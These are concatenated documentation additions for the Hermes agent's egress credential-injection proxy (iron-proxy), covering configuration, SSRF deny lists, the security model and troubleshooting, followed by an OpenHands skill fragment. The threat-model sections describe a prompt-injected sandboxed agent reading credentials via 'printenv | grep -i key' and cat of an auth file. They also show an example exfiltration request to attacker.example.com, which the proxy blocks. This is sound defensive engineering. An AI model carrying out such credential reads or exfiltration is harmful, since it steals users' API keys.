+Tested via the `cmd_setup` flow in CLI tests (the bitwarden-preservation path is exercised when `--from-bitwarden` is followed by a plain `setup` re-run).
+
+## Extension points
+
+### Adding a new bearer-token provider
+
+`_BEARER_PROVIDERS` in `iron_proxy.py` maps env var name -> tuple of upstream hosts.  Adding an entry makes it discoverable by `discover_provider_mappings()`; the wizard mints a token for it automatically when the env var is present.
+
+```python
+_BEARER_PROVIDERS: Dict[str, Tuple[str, ...]] = {
+    ...,
+    "MY_PROVIDER_API_KEY": ("api.myprovider.com",),
+}
+```
+
+Also update `_DEFAULT_ALLOWED_HOSTS` so the proxy allows the upstream by default.  Run `test_discover_provider_mappings_*` to confirm.
+
+### Adding a new non-bearer provider
+
+If the provider uses `x-api-key` / SigV4 / OAuth-from-SDK / etc., iron-proxy's `secrets` transform cannot swap it.  Add the env var to `_NON_BEARER_PROVIDERS` so the wizard warns about it.  If the provider is LLM-specific enough that you want `fail_on_uncovered_providers: true` to actually block it, also add to `_LLM_SPECIFIC_NON_BEARER_PROVIDERS`.
+
+```python
+_NON_BEARER_PROVIDERS: Tuple[str, ...] = (
+    ...,
+    "MY_X_API_KEY_PROVIDER",
+)
+
+_LLM_SPECIFIC_NON_BEARER_PROVIDERS: Tuple[str, ...] = (
+    ...,
+    "MY_X_API_KEY_PROVIDER",
+)
+```
+
+### Wiring iron-proxy into a non-Docker backend
+
+`_egress_proxy_args_for_docker` is Docker-specific.  Backends that want similar wiring need their own analogue that:
+
+1. Reads `load_config().get("proxy", {})`; returns empty args if `enabled` is false.
+2. Calls `iron_proxy.get_status()`; surfaces `enforce` semantics on `configured` / `pid` / `listening` / `ca_cert_path` failure paths.
+3. Calls `iron_proxy.load_mappings()`; refuses to mount if empty AND `enforce_on_docker: true`.
+4. Sets the seven env vars (HTTPS_PROXY, NO_PROXY, REQUESTS_CA_BUNDLE, SSL_CERT_FILE, CURL_CA_BUNDLE, NODE_EXTRA_CA_CERTS, HERMES_EGRESS_PROXY) and the per-mapping `HERMES_PROXY_TOKEN_<NAME>` vars.
+5. Distributes the CA cert into the sandbox at a path the runtime will trust (typically `/etc/ssl/certs/hermes-egress-ca.crt`).
+6. Implements collision detection against the user's backend-specific env config.
+
+The Docker implementation is ~150 lines; expect similar volume for Modal / Daytona / SSH.
+
+### Subscribing to per-request audit events
+
+iron-proxy writes line-delimited JSON to `~/.hermes/proxy/audit.log`.  A plugin / external watcher can tail the file and react to allowlist denials, secret swaps, or upstream errors.  The schema is documented at [docs.iron.sh/audit](https://docs.iron.sh/audit) (link).
+
+## Testing
+
+```bash
+# Hermetic suite (no network, no real binary)
+scripts/run_tests.sh tests/test_iron_proxy.py tests/test_iron_proxy_cli.py
+
+# Live E2E (real binary, real curl, real CONNECT tunnel)
+HERMES_RUN_E2E=1 scripts/run_tests.sh tests/test_iron_proxy_e2e.py
+
+# Live PTY smoke against `hermes egress`
+HERMES_HOME=/tmp/hermes-egress-test python3 -m hermes_cli.main egress --help
+HERMES_HOME=/tmp/hermes-egress-test python3 -m hermes_cli.main egress setup --help
+```
+
+The CLI uses argparse, so `--help` is a good first probe for "did my new flag register correctly".

+# Egress credential-injection proxy (iron-proxy)
+
+When Hermes runs your agent inside a remote terminal sandbox — Docker, Modal, SSH — that sandbox normally holds your real upstream API keys (`OPENROUTER_API_KEY`, `OPENAI_API_KEY`, etc.). A prompt-injected agent in that sandbox can `cat ~/.config/openrouter/auth.json` or `printenv | grep -i key` and exfiltrate them.
+
+The egress proxy fixes this: the sandbox holds opaque **proxy tokens**, never the real keys. All outbound traffic from the sandbox routes through a local [iron-proxy](https://github.com/ironsh/iron-proxy) daemon (Apache-2.0, Go) on the host, which terminates TLS and swaps the proxy token for the real credential before forwarding the request upstream. Compromise the sandbox and the attacker walks away with tokens that only work from behind the proxy.
+
+This page covers the Docker backend, which is what v1 ships. Modal, Daytona, and SSH wiring will follow in later releases.
+
+## What it is
+
+- A managed `iron-proxy` subprocess on the host, lazy-installed into `~/.hermes/bin/iron-proxy`
+- A local CA at `~/.hermes/proxy/ca.crt` that the sandbox trusts so iron-proxy can MITM TLS and rewrite headers
+- A `proxy.yaml` config at `~/.hermes/proxy/proxy.yaml` listing the upstream hosts you allow and the secrets-transform mapping
+- A `mappings.json` recording which proxy token corresponds to which real env var
+
+The sandbox gets `HTTPS_PROXY=http://host.docker.internal:9090` plus a set of `HERMES_PROXY_TOKEN_<ENV_NAME>` env vars. The agent code reads those tokens instead of the real API keys. iron-proxy's `secrets` transform matches the token in the `Authorization` header and substitutes the real value sourced from its own environment.
+
+## What it is not
+
+- It is **not** the inbound `hermes proxy` command, which is an OAuth aggregator reverse proxy. Different command (`hermes egress`), different direction.
+- It does **not** sit between your local terminal and providers — only between the sandbox and providers.
+- It does **not** rewrite credentials for in-process LLM calls the host process makes. Those continue to use your `.env` keys directly. The threat model is the *sandbox*, not the host.
+
+## Quick start
+
+```bash
+# 1. Install the iron-proxy binary (pinned version, SHA-256 verified)
+hermes egress install
+
+# 2. Run the wizard: generates CA, mints proxy tokens for every provider key
+#    in your env, writes proxy.yaml.
+hermes egress setup
+
+# 3. Start the proxy daemon
+hermes egress start
+
+# 4. Check status
+hermes egress status
+```
+
+Once running, the Docker terminal backend automatically:
+
+- Mounts `~/.hermes/proxy/ca.crt` into the sandbox at `/etc/ssl/certs/hermes-egress-ca.crt`
+- Sets `HTTPS_PROXY`, `HTTP_PROXY`, `REQUESTS_CA_BUNDLE`, `SSL_CERT_FILE`, `CURL_CA_BUNDLE`, `NODE_EXTRA_CA_CERTS` to make every common HTTP runtime route through the proxy and trust the CA
+- Sets `NODE_OPTIONS=--use-openssl-ca` (appended to whatever you already have in `docker_env.NODE_OPTIONS`) so Node.js routes through the OpenSSL store the other CA-bundle vars control — see [Node.js asymmetric CA caveat](#nodejs-asymmetric-ca-caveat) below for the residual gap
+- Adds `--add-host=host.docker.internal:host-gateway` so the sandbox can reach the host-side proxy on Linux (Docker Desktop handles this automatically on macOS/Windows)
+- Exports one `HERMES_PROXY_TOKEN_<ENV_NAME>` per minted mapping
+
+## Configuration
+
+The full config lives in `~/.hermes/config.yaml` under the `proxy:` section. Defaults are documented inline; everything is optional.
+
+```yaml
+proxy:
+  # Master switch. When false the feature is a complete no-op — no
+  # binaries downloaded, no docker mounts added, no subprocess started.
+  enabled: false
+
+  # Tunnel listener port. Sandboxes hit http://host.docker.internal:<port>.
+  tunnel_port: 9090
+
+  # Auto-download the pinned iron-proxy binary on first use.
+  auto_install: true
+
+  # Where iron-proxy looks up the real upstream secrets at egress time.
+  #   env       — process env (default). Whatever is in your ~/.hermes/.env
+  #               at proxy-start time is the source of truth.
+  #   bitwarden — refetch from Bitwarden Secrets Manager on each proxy
+  #               restart. Rotation in the BW web app propagates without
+  #               touching .env. Requires `secrets.bitwarden.enabled: true`.
+  credential_source: env
+
+  # When true (default), the Docker backend refuses to start a sandbox if
+  # the proxy is enabled but not running. Set to false to fall back to the
+  # legacy "real credentials inside the sandbox" posture when the proxy
+  # is unavailable.
+  enforce_on_docker: true
+
+  # When true, `hermes egress start` refuses to start if LLM-specific
+  # non-bearer provider env vars are set (Anthropic native, Azure OpenAI,
+  # Gemini) — those bypass the proxy's secrets transform and would leak
+  # real credentials into the sandbox.  Defaults to false because the
+  # false-positive cost (operator has the env set but doesn't actually
+  # use that provider) is higher than the security cost of a warning.
+  # See "Uncovered providers" below for the strict tier vs warn tier
+  # distinction.
+  fail_on_uncovered_providers: false
+
+  # When `credential_source: bitwarden` but the BWS access token /
+  # project_id is missing OR the bws fetch returns no values for mapped
+  # providers, the daemon raises by default (matches the spirit of "I
+  # asked for rotation — don't silently use stale env values").  Set
+  # to true to opt back into the legacy host-env fallback — useful for
+  # migrations where you want to start switching to BW mode but haven't
+  # wired every secret yet.
+  allow_env_fallback: false
+
+  # SSRF deny list applied to outbound traffic.  Omit / leave null to
+  # use the safe default: loopback (v4 + v6), link-local (incl. cloud
+  # metadata IPs at 169.254.169.254), RFC1918, IPv6 ULA, IPv4-mapped-v6,
+  # CGNAT, and the RFC2544 benchmark range.  Set to an explicit `[]`
+  # to opt out entirely (only sensible in hermetic tests).
+  upstream_deny_cidrs: null
+
+  # Extra allowed upstream hosts beyond the bundled defaults.
+  # Wildcards (`*.foo.com`) are supported. The defaults cover OpenRouter,
+  # OpenAI, Anthropic, Google, xAI, Mistral, Groq, Together, DeepSeek,
+  # and Nous Research.
+  extra_allowed_hosts: []
+```
+
+### Default allowed upstream hosts
+
+```
+openrouter.ai           *.openrouter.ai
+api.openai.com          api.anthropic.com
+generativelanguage.googleapis.com
+api.x.ai                api.mistral.ai
+api.groq.com            api.together.xyz
+api.deepseek.com        inference.nousresearch.com
+```
+
+If your agent needs an upstream that isn't on the list — a self-hosted inference endpoint, an extra cloud LLM, an MCP server — add it to `proxy.extra_allowed_hosts`. Wildcards are matched against the full hostname (`*.example.com` matches `api.example.com` and `staging.example.com` but not `example.com` itself).
+
+### Default SSRF deny CIDRs
+
+Applied regardless of allowlist. These ranges are refused by iron-proxy at the network boundary, so a DNS rebinding attack via an allowlisted hostname can't reach IMDS or your internal network:
+
+| CIDR | Purpose |
+|---|---|
+| `127.0.0.0/8`, `::1/128` | Loopback (v4 + v6) |
+| `169.254.0.0/16`, `fe80::/10` | Link-local — **incl. AWS / GCP / Azure IMDS at `169.254.169.254`** |
+| `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` | RFC1918 |
+| `fc00::/7` | IPv6 ULA |
+| `::ffff:0:0/96` | IPv4-mapped IPv6 — closes the dual-stack IMDS bypass |
+| `100.64.0.0/10` | RFC6598 CGNAT (used by AWS VPC, K8s pod networks) |
+| `198.18.0.0/15` | RFC2544 benchmark range |
+
+To override: set `proxy.upstream_deny_cidrs` to your own list. To opt out entirely (e.g. for a hermetic test that needs to reach a loopback upstream): set it to an empty list `[]`.
+
+### Bind policy
+
+The proxy binds **loopback only** (`127.0.0.1:<tunnel_port>`), plus the docker bridge gateway IP on Linux (auto-detected via `ip -4 addr show docker0`, typically `172.17.0.1`). It does NOT bind `0.0.0.0`. This means:
+
+- A LAN peer with a leaked proxy token cannot use it — the proxy is unreachable from the network.
+- Containers reach the proxy via `host.docker.internal:9090`, which Docker maps to the bridge gateway via `--add-host=host.docker.internal:host-gateway`.
+- On macOS / Windows Docker Desktop, Desktop manages the gateway itself, so a single loopback bind is enough.
+
+If the `ip` binary returns a suspicious address (anything that isn't a private IPv4 — `0.0.0.0`, public addresses, multicast, link-local, etc.) the bridge bind is skipped with a warning. This defends against a hostile `ip` shim on PATH being able to inject `0.0.0.0` and re-open INADDR_ANY.
+
+## Uncovered providers
+
+iron-proxy's `secrets` transform only handles `Authorization: Bearer` headers. Providers using `x-api-key`, SigV4, AAD tokens, or custom signatures cannot be proxied — if their env vars are present, the sandbox holds **real credentials** for those providers and the egress isolation guarantee is incomplete for them.
+
+The wizard and `hermes egress status` always surface uncovered providers in your env. There are two tiers:
+
+### Strict tier — refuses start when `fail_on_uncovered_providers: true`
+
+| Env var | Provider | Reason |
+|---|---|---|
+| `ANTHROPIC_API_KEY` | Anthropic native | x-api-key header, not Bearer |
+| `AZURE_OPENAI_API_KEY` | Azure OpenAI | api-key header + optional AAD |
+| `GEMINI_API_KEY` | Google AI Studio (Gemini) | x-goog-api-key |
+
+These are LLM-specific names. An operator who has them set is using those providers; a bypass is a real isolation failure.
+
+### Warn-only tier — surfaced but never blocks
+
+| Env var | Provider | Reason |
+|---|---|---|
+| `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY` | AWS Bedrock / SageMaker | SigV4-signed |
+| `GOOGLE_APPLICATION_CREDENTIALS` | GCP Vertex AI | gcloud OAuth |
+| `GOOGLE_API_KEY` | Google AI Studio | x-goog-api-key OR query param |
+
+These env vars are present on most developer laptops for unrelated tooling (terraform, gcloud, aws CLI, ECR push). They surface as warnings in the wizard + `status` output but don't refuse-start.
+
+### Operator playbook
+
+If `hermes egress start` refuses because of a strict-tier env var you don't actually use:
+
+```bash
+unset ANTHROPIC_API_KEY   # or whichever one is flagged
+hermes egress start
+```
+
+If you DO use that provider but accept the isolation gap:
+
+```yaml
+# config.yaml
+proxy:
+  fail_on_uncovered_providers: false  # default
+```
+
+Either way, the warning persists in `hermes egress status` until you remove the env var.
+
+## Bitwarden integration
+
+If you already use Bitwarden Secrets Manager via [`hermes secrets bitwarden setup`](../secrets/bitwarden), the egress proxy can pull real credentials from there instead of `os.environ`:
+
+```bash
+hermes egress setup --from-bitwarden
+```
+
+This sets `proxy.credential_source: bitwarden` and discovers provider env names from your BW project.
+
+### Rotation semantics
+
+When `credential_source: bitwarden`, the iron-proxy daemon refetches secrets from BWS via `bws secret list <project_id>` **every time it starts**. So the rotation flow is:
+
+1. Rotate a key in the Bitwarden web app.
+2. `hermes egress stop && hermes egress start` on the host.
+3. Sandboxes started after that point swap proxy tokens for the new value.
+
+No `.env` edits. No Hermes restart on the host. The proxy daemon is the only thing that touches the new value — your host process and `os.environ` are untouched.
+
+### Fail-loud at start
+
+When `credential_source: bitwarden`, `hermes egress start` pre-checks at the wizard layer AND `_build_proxy_subprocess_env` re-checks at the daemon layer:
+
+- BWS access token env var is unset → refuse to start with a hint to `unset` and re-run, or `hermes egress setup --no-bitwarden` to switch back to env mode
+- `secrets.bitwarden.project_id` is empty → refuse to start with a hint to run `hermes secrets bitwarden setup`
+- `bws secret list` returns no values for one or more mapped providers → refuse to start, listing the missing names
+
+This is intentional. Falling back to host env in BW mode reintroduces exactly the staleness bug the BW path is meant to defeat (operator picked BW for the rotation guarantee; silent fallback breaks that guarantee).
+
+The `proxy.allow_env_fallback: true` config flag opts back in to the legacy "silently fall back to host env if BWS is unreachable" behavior for migration scenarios. Use it when you're moving secrets into BW one at a time and want the daemon to start with whichever values are available.
+
+### Switching credential source
+
+| From | To | Command |
+|---|---|---|
+| env | bitwarden | `hermes egress setup --from-bitwarden` |
+| bitwarden | env | `hermes egress setup --no-bitwarden` |
+
+**Re-running `hermes egress setup` WITHOUT either flag preserves the existing `credential_source`** — the wizard refuses to silently downgrade you back to env. This matters because once you've configured bitwarden mode, the rotation guarantee is what you signed up for; you have to explicitly say "I want env again" to change it.

+
+hermes egress config                   # print the path to proxy.yaml for debugging
+```
+
+### Token rotation
+
+By default, `hermes egress setup` **preserves** proxy tokens for providers that already have them. Adding a new provider mints a fresh token only for the new one; existing tokens are unchanged. This avoids 401-ing running sandboxes when you re-run the wizard.
+
+`--rotate-tokens` rolls every token:
+
+```bash
+hermes egress setup --rotate-tokens
+```
+
+When there are existing tokens AND stdin is a tty, the wizard prompts for confirmation:
+
+```
+⚠  --rotate-tokens will invalidate proxy tokens in every running
+   Hermes sandbox.  They will start 401-ing against upstreams until restarted.
+Type 'rotate' to confirm:
+```
+
+Non-tty invocations (CI, scripts) skip the prompt — the flag is treated as deliberate. Before any overwrite the current `mappings.json` is copied to a timestamped sibling so manual recovery is possible:
+
+```
+backup: ~/.hermes/proxy/mappings.json.rotated-20260524T143012
+```
+
+**Caveat:** rotating tokens DOES NOT automatically restart iron-proxy. The running daemon still has the old mappings in memory (and the old YAML). After `--rotate-tokens`:
+
+```bash
+hermes egress stop && hermes egress start
+```
+
+Containers already running hold the old tokens and will need to be restarted to pick up the new ones.

+| `mappings.json.rotated-*` | `0o600` | Backups created by `--rotate-tokens` |
+| `iron-proxy.pid` | `0o600` | PID of the running daemon |
+| `iron-proxy.nonce` | `0o600` | Per-start nonce for PID-recycle defense |
+| `iron-proxy.log` | `0o600` | Daemon stdout/stderr (startup, bind errors, shutdown) |
+| `audit.log` | `0o600` | Structured per-request JSON log |
+
+The CA private key and the per-request audit log are the most sensitive files; both are created with `0o600` from the first byte (no umask-window TOCTOU) and `O_NOFOLLOW` so a same-uid attacker can't redirect them via a planted symlink. The pidfile and nonce file get the same treatment.
+
+### Audit log vs daemon log
+
+Two separate files, two separate audiences:
+
+- `audit.log` is **per-request**. Every CONNECT through the proxy is recorded as a structured JSON entry: timestamp, sandbox source, upstream host, request size, response status, secret-swap fired (yes/no), processing time. Forensics + compliance.
+- `iron-proxy.log` is **daemon-level**. Startup banner, bind errors, shutdown reason, transform errors. Operations + troubleshooting.
+
+Both files are appended to across restarts. Rotate them with logrotate if you care about disk usage on long-lived hosts.
+

+                              (daemon stdout/stderr at ~/.hermes/proxy/iron-proxy.log)
+```
+
+1. Sandbox makes an HTTPS request, e.g. `POST https://openrouter.ai/v1/chat/completions` with `Authorization: Bearer hermes-proxy-openrouter-…` (the proxy token, not the real key).
+2. Because `HTTPS_PROXY` is set, the request goes to iron-proxy as a CONNECT tunnel.
+3. iron-proxy checks the allowlist. `openrouter.ai` is allowed.
+4. iron-proxy mints a leaf cert signed by our CA for `openrouter.ai`, terminates the TLS connection, inspects the request.
+5. The `secrets` transform matches the proxy-token string in the `Authorization` header and substitutes the real `OPENROUTER_API_KEY` value, sourced from iron-proxy's own environment.
+6. Request is re-encrypted and forwarded to OpenRouter.
+7. Every request is logged as a structured JSON entry to `~/.hermes/proxy/audit.log`.  Daemon-level diagnostics (startup, bind errors, shutdown) go to `~/.hermes/proxy/iron-proxy.log` separately.
+
+A request to a non-allowlisted host (e.g. `https://attacker.example.com/leak?key=...`) is rejected with HTTP 403 before any bytes leave the host. The denial is recorded in `audit.log` with the upstream host and the source sandbox.
+
+### CA distribution into the sandbox
+
+When the Docker backend starts a container with `proxy.enabled: true` and the daemon is listening, it adds these arguments to `docker run`:
+
+| Arg | Purpose |
+|---|---|
+| `-v ~/.hermes/proxy/ca.crt:/etc/ssl/certs/hermes-egress-ca.crt:ro` | Read-only mount of the CA |
+| `-e HTTPS_PROXY=http://host.docker.internal:9090` | Python httpx / curl / go default transport / Node fetch |
+| `-e HTTP_PROXY=…` | curl + wget for plain HTTP (rare in modern stacks) |
+| `-e NO_PROXY=127.0.0.1,localhost,::1` | Loopback dev servers inside the sandbox bypass the proxy |
+| `-e REQUESTS_CA_BUNDLE=…ca.crt` | Python `requests` |
+| `-e SSL_CERT_FILE=…ca.crt` | Python `ssl` module / OpenSSL — **replaces** the system store |
+| `-e CURL_CA_BUNDLE=…ca.crt` | curl — **replaces** the system store |
+| `-e NODE_EXTRA_CA_CERTS=…ca.crt` | Node.js — **adds** to the system store |
+| `-e NODE_OPTIONS="<your value> --use-openssl-ca"` | Node.js — route through OpenSSL store (appended; your `--max-old-space-size` etc. are preserved) |
+| `-e HERMES_EGRESS_PROXY=1` | Sentinel the agent can read to know it's proxy-aware |
+| `-e HERMES_PROXY_TOKEN_<NAME>=…` | One per mapping; the sandbox uses these instead of real keys |
+| `--add-host=host.docker.internal:host-gateway` | Linux-only; Docker Desktop maps it automatically |
+
+#### Node.js asymmetric CA caveat
+
+`REQUESTS_CA_BUNDLE` / `SSL_CERT_FILE` / `CURL_CA_BUNDLE` **replace** the system CA store inside the sandbox. `NODE_EXTRA_CA_CERTS` **adds** to it. A Node.js process inside the sandbox could in principle bypass the proxy by opening a raw `net.Socket` and starting its own TLS handshake — the system CA store would still trust real upstream certs, so the request would succeed where Python / curl would fail validation.
+
+`NODE_OPTIONS=--use-openssl-ca` is appended to whatever you already have in `docker_env.NODE_OPTIONS`. This forces Node through the OpenSSL store that `SSL_CERT_FILE` controls, narrowing the asymmetry. It does NOT cover code that explicitly passes its own `ca` option to `tls.connect()` or `https.request()`, but it closes the easy case.
+
+This is a known v1 limitation. Track [github.com/ironsh/iron-proxy/issues](https://github.com/ironsh/iron-proxy/issues) for an upstream resolution; in the meantime, do not run untrusted Node code that opens raw sockets in a sandbox you're depending on egress isolation for.
+
+### docker\_env collisions
+
+If you set proxy-controlling env vars in your `docker_env:` config block (rare but possible), Hermes refuses to start the sandbox when `enforce_on_docker: true` is set. This includes both:
+
+- Egress-control vars: `HTTPS_PROXY`, `HTTP_PROXY`, `NO_PROXY`, `REQUESTS_CA_BUNDLE`, `SSL_CERT_FILE`, `CURL_CA_BUNDLE`, `NODE_EXTRA_CA_CERTS`
+- Real provider env vars: every name in `mappings.json` (e.g. `OPENROUTER_API_KEY`, `OPENAI_API_KEY`)
+
+Example error:
+
+```
+docker_env in config.yaml overrides egress-proxy variables
+['HTTPS_PROXY', 'OPENROUTER_API_KEY']; enforce_on_docker is enabled.
+Remove these keys from docker_env or disable enforce_on_docker to
+opt out of egress isolation.
+```
+
+With `enforce_on_docker: false` the same situation surfaces as a warning and your `docker_env` values win — useful for migrations or testing, but you're explicitly opting OUT of the isolation guarantee.
+
+## PID and nonce defense
+
+The daemon's pidfile is written with `O_EXCL` + `O_NOFOLLOW` + ownership check. Concurrent `hermes egress start` calls produce one of two outcomes:
+
+- The existing pidfile points at a live iron-proxy → second start refuses with "another start in progress" + a hint to run `hermes egress stop`
+- The existing pidfile is stale (crashed daemon) → second start unlinks it and retries once
+
+Beyond that, every `start_proxy` plants a fresh random nonce in two places:
+
+- `HERMES_IRON_PROXY_NONCE=<nonce>` in the daemon's env
+- `~/.hermes/proxy/iron-proxy.nonce` (0o600 sibling of the pidfile)
+
+When `hermes egress stop` (or any other `_pid_alive` check) wants to confirm a PID still refers to *our* daemon — not an unrelated process that was assigned the same PID after iron-proxy crashed — it reads `/proc/<pid>/environ` and looks for the nonce. The on-disk copy is what makes this work across CLI invocations (the in-memory `_proxy_nonce` is per-process and resets on every `hermes` invocation).
+
+If the nonce check fails, the code falls back to matching `argv[0]` basename against `iron-proxy`. `stop_proxy` additionally captures `/proc/<pid>/stat` starttime before SIGTERM and re-verifies after the 5s grace window — if starttime drifted, the PID was recycled mid-wait and SIGKILL is suppressed with a warning.
+
+## Security model
+
+**What this protects against:**
+
+- Prompt-injected agent in a Docker sandbox reading `printenv` / credential files and exfiltrating real keys.
+- Compromised dependency in the sandbox phoning home to an arbitrary host — default-deny allowlist blocks unknown destinations.
+- Agent dialing cloud metadata endpoints (`169.254.169.254`) — iron-proxy denies these by default via `upstream_deny_cidrs`, including the IPv4-mapped-v6 form `::ffff:169.254.169.254`.
+- DNS rebinding through an allowlisted hostname to a private IP — the deny CIDRs are checked at connect time, not at allowlist time.
+- Same-uid local processes reading the iron-proxy daemon's env to scrape secrets — only the env var names referenced by mappings are forwarded, not the full host env.
+- A LAN peer with a leaked sandbox proxy token spending your API quota — the proxy binds loopback + docker bridge only, not `0.0.0.0`.
+
+**What it does NOT protect against:**
+
+- A compromised host process. If the agent process itself is compromised, real keys in the host's `~/.hermes/.env` are exposed regardless. This is a defense-in-depth feature for *sandbox* compromise, not host compromise.
+- Sandbox processes that bypass `HTTPS_PROXY` by using a raw socket. The proxy can't intercept what doesn't route to it. Node.js is partially mitigated via `NODE_OPTIONS=--use-openssl-ca` (see caveat above).
+- Allowlisted-host data exfiltration. If `api.openai.com` is allowed, an agent could embed exfil data in a request body to that host. The audit log captures this but doesn't prevent it.
+- Uncovered providers (Anthropic native, AWS Bedrock, Azure OpenAI, Gemini). Their env vars stay in the sandbox; if you enable them, those credentials bypass the proxy entirely. See [Uncovered providers](#uncovered-providers).
+- iron-proxy in-memory secret zeroisation. The Go binary holds swapped-in real credentials in process memory; a core-dump or `/proc/<pid>/mem` read from a same-uid attacker would expose them. Out of scope for this layer.
+
+## Failure modes
+
+- **Binary not installed, `auto_install: true`** — first `hermes egress setup` or `hermes egress start` downloads it. SHA-256 verified against the upstream `checksums.txt`.
+- **Binary not installed, `auto_install: false`** — `start` fails with a clear message pointing to manual install.
+- **`enabled: true` but proxy not running** — with `enforce_on_docker: true` (default), Docker sandbox creation refuses to start with an explanatory error. With `enforce: false`, it falls back to direct outbound with real creds and logs a warning.
+- **Port collision** — iron-proxy exits immediately; `hermes egress start` reports the last 20 log lines and fails with non-zero exit.
+- **Upstream-host denied** — sandbox gets HTTP 403 from the proxy with a body explaining which host wasn't allowed. The agent sees the error and reports it.
+- **Cloud metadata IP (169.254.169.254) requested** — refused by `upstream_deny_cidrs` regardless of allowlist.
+- **Strict-tier uncovered provider env var set** — `hermes egress start` refuses with a list of the offending env vars and the `proxy.fail_on_uncovered_providers: false` escape hatch.
+- **`docker_env` collides with a proxy-controlling var (enforce on)** — sandbox creation refuses with the names of the colliding keys.
+- **BWS access token missing in `credential_source: bitwarden`** — `hermes egress start` refuses with `--no-bitwarden` as the recovery hint.
+- **iron-proxy doesn't bind within 5 seconds** — process is killed, pidfile unlinked, error names the port + tail of `iron-proxy.log`.
+- **Concurrent `hermes egress start` calls** — second call refuses with "another start in progress" if the first's daemon is up; otherwise the second unlinks the stale pidfile and proceeds.
+
+## Troubleshooting
+
+### "Refusing to start: BWS_ACCESS_TOKEN is not set"
+
+You enabled `credential_source: bitwarden` but the access-token env var isn't in your shell. Either:
+
+```bash
+export BWS_ACCESS_TOKEN=…   # one-shot
+hermes egress start
+```
+
+Or move it into `~/.hermes/.env`. Or switch back to env mode:
+
+```bash
+hermes egress setup --no-bitwarden
+```
+
+### "Refusing to start: provider env vars present that bypass the proxy"
+
+You have `fail_on_uncovered_providers: true` AND one of `ANTHROPIC_API_KEY` / `AZURE_OPENAI_API_KEY` / `GEMINI_API_KEY` is set in your env. Either unset the offending var, or flip the config flag back to `false` (default) if you accept the isolation gap.
+
+### "iron-proxy exited immediately"
+
+Look at the last 20 lines of `~/.hermes/proxy/iron-proxy.log`. Common causes:
+
+- Port already in use → change `proxy.tunnel_port` or kill whatever else owns 9090
+- Invalid `proxy.yaml` → run `hermes egress setup` to regenerate
+- CA cert / key permissions wrong → `chmod 0o600 ~/.hermes/proxy/ca.key`
+
+### "iron-proxy did not bind 127.0.0.1:9090 within 5s"
+
+The daemon started but never bound the listener. Usually means the binary is wedged or doing something expensive at startup. Check `~/.hermes/proxy/iron-proxy.log`. The orphan process is killed automatically and the pidfile cleaned up so you can just retry `hermes egress start`.
+
+### Sandbox sees `HTTP 403` from the proxy
+
+The agent inside the sandbox tried to hit a host that isn't in `proxy.extra_allowed_hosts`. The 403 body explains which host. If you want to allow it, add to your config:
+
+```yaml
+proxy:
+  extra_allowed_hosts:
+    - api.example.com
+    - "*.staging.example.com"
+```
+
+Then `hermes egress setup` (to regenerate `proxy.yaml`) and `hermes egress stop && hermes egress start`.
+
+### Sandbox sees SSL verification errors
+
+Either the CA isn't mounted in the sandbox (rare; the docker backend does this automatically when `proxy.enabled: true`), or your image's HTTP client is reading from a non-standard env var.
+
+```bash
+# Inside the sandbox:
+cat /etc/ssl/certs/hermes-egress-ca.crt | head -1
+# Should print: -----BEGIN CERTIFICATE-----
+env | grep -E "^(REQUESTS|CURL|SSL|NODE).*CA"
+# Should list all four CA-bundle env vars pointing at /etc/ssl/certs/hermes-egress-ca.crt
+```
+
+If the cert isn't there, check that `proxy.enabled: true` AND `hermes egress status` shows `Listening yes`. If the env vars are missing, the sandbox image might be running an entrypoint that strips them — check your `docker_env` config.
+
+### Sandbox sees `HTTP 401` from upstreams
+
+Two common causes:
+
+1. **Token-clobber on re-setup.** You ran `hermes egress setup --rotate-tokens` (or rotated tokens some other way) and the running sandboxes still hold the old tokens. Restart the sandboxes.
+2. **Bitwarden refresh failed silently.** Should not happen with the new fail-loud behavior, but if you have `proxy.allow_env_fallback: true` set, the daemon may have started with stale env values. Check the daemon's environment (`/proc/<iron-proxy-pid>/environ`) for the expected `OPENROUTER_API_KEY` etc.
+
+### "Address in use" after the parent process died
+
+The parent Hermes process died during `hermes egress start` (Ctrl-C during the listening probe, OOM, panic). The new fix-up logic writes the pidfile immediately after `Popen` so the orphan is recoverable:
+
+```bash
+hermes egress stop   # finds the orphan via the pidfile, kills it
+hermes egress start
+```
+
+If `hermes egress stop` says "iron-proxy was not running" but you can still see the daemon in `ps`, the pidfile got out of sync. Manual recovery:
+
+```bash
+pkill -TERM iron-proxy
+rm -f ~/.hermes/proxy/iron-proxy.pid ~/.hermes/proxy/iron-proxy.nonce
+hermes egress start
+```
+
+### Inspecting per-request behavior
+
+The audit log is line-delimited JSON. Grep for a specific upstream:
+
+```bash
+grep '"host":"openrouter.ai"' ~/.hermes/proxy/audit.log | tail -20
+```
+
+Or watch in real-time:
+
+```bash
+tail -f ~/.hermes/proxy/audit.log | jq
+```
+
+Daemon-level errors (bind failures, transform errors, shutdown reasons) go to `iron-proxy.log`, not `audit.log`:
+
+```bash
+tail -50 ~/.hermes/proxy/iron-proxy.log
+```
+
+## Limitations (v1)
+
+- Docker backend only. Modal, Daytona, and SSH wiring will follow in separate PRs.
+- Only bearer-token providers (OpenRouter, OpenAI, Anthropic-via-OR, etc.) are wired through the `secrets` transform out of the box. Providers with custom auth (x-api-key, query params, signatures) bypass the proxy entirely — see [Uncovered providers](#uncovered-providers).
+- No native Windows binary upstream. Run on Linux / macOS / WSL.
+- The CA is a 10-year self-signed cert on first generation. Rotation requires `openssl genrsa ...` by hand (or wait for a follow-up that adds `hermes egress rotate-ca`).
+- Token rotation does not auto-restart the daemon; after `--rotate-tokens` you must `hermes egress stop && hermes egress start` and then restart running sandboxes.
+- iron-proxy in-memory secret zeroisation is upstream-controlled. Same-uid attackers with `/proc/<pid>/mem` read access can read swapped-in secrets from the daemon's memory.

+## Reference: full SKILL.md
+
+:::info
+The following is the complete skill definition that Hermes loads when this skill is triggered. This is what the agent sees as instructions when the skill is active.
+:::
+
+# OpenHands CLI
+
+Delegate coding tasks to the [OpenHands CLI](https://github.com/All-Hands-AI/OpenHands) via the `terminal` tool. OpenHands is model-agnostic: any LiteLLM-supported provider (OpenAI, Anthropic, OpenRouter, DeepSeek, Ollama, vLLM, etc.).
+
+This skill is the headless-mode wrapper for batch / one-shot delegation. The interactive textual UI is not used from Hermes.
+
+## When to Use
+
+- User wants a coding task delegated to OpenHands specifically.
